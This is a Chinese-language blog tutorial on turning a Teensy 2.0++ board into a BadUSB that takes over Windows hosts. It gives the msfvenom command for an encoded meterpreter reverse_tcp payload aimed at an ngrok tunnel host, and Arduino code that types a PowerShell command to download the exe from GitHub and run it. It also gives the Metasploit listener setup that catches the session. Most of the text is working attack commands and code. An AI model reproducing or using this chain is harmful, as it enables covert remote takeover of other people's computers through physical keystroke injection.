1. 程式人生 > >滲透利器-BadUSB 控制外網主機詳解 Teensy2.0++

滲透利器-BadUSB 控制外網主機詳解 Teensy2.0++

準備工作

  • 一塊 Teensy2.0++ 的板子(淘寶一搜就有)
  • Arduino編譯器

1

1.下載好arduino後直接解壓

⚡ /home/da1sy/arduino-1.8.7# ./arduino

2.安裝Teensy外掛

⚡ /home/da1sy/arduino-1.8.7# ./TeensyduinoInstall.linux64

注意將外掛安裝到arduino的解壓目錄下

3.arduino修改配置

開啟軟體後將 工具 下配置修改如下 2

4.利用ngrok實現內網穿透

在https://www.ngrok.cc/ 註冊賬號後開通tcp隧道

3

下載客戶端

⚡/home/da1sy/桌面/linux_amd64# ./sunny clientid 隧道ID號

4

5.利用msfvenom生成windows端木馬

 ⚡/home/da1sy# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 12 -b '\x00' lhost=free.idcfengye.com lport=17839 -f exe > windows.exe  

lhost 為執行sunny後的域名,lport為開通隧道時填寫的埠(執行後也會有顯示)

最後將生成的木馬放到github專案上實現遠端下載

6.編輯arduino程式碼

char *command1 = "powershell -Command $clnt = new-object System.Net.WebClient;$url= 'https://raw.githubusercontent.com/da1sy/da1sy/master/windows.exe';$file = ' %HOMEPATH%\\windows.exe ';$clnt.DownloadFile($url,$file); ";
char *command2 = "%HOMEPATH%\\windows.exe ";
//將連線的地址改為自己github的地址
void setup() { 
    delay(5000);
    omg(command1);
    delay(15000);
    omg(command2);
 }
  
void loop() {}

void omg(char *SomeCommand)
{
  Keyboard.set_modifier(128); 
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now(); 
  Keyboard.set_modifier(0); 
  Keyboard.set_key1(0); 
  Keyboard.send_now(); 
  delay(1500);
  Keyboard.println(SomeCommand);
}

編輯好後點驗證,然後插入Teensy板子,最後按一下板子上的按鈕完成上傳

7.metasploit開啟監聽

⚡ /home/da1sy/# msfconsole

msf > use exploit/multi/handler
msf exploit(multi/handler) > set lhost 127.0.0.1   
msf exploit(multi/handler) > set lport 6666        //ngrok開通隧道時填寫的本地地址與埠號
msf exploit(multi/handler) > exploit

5

8.最後對目標插入badusb

效果圖如下 6

監聽端 7

最後反彈的會話好像是出現了毛病,不過總體上嘛 問題不大

一些其他的程式碼

有時間再補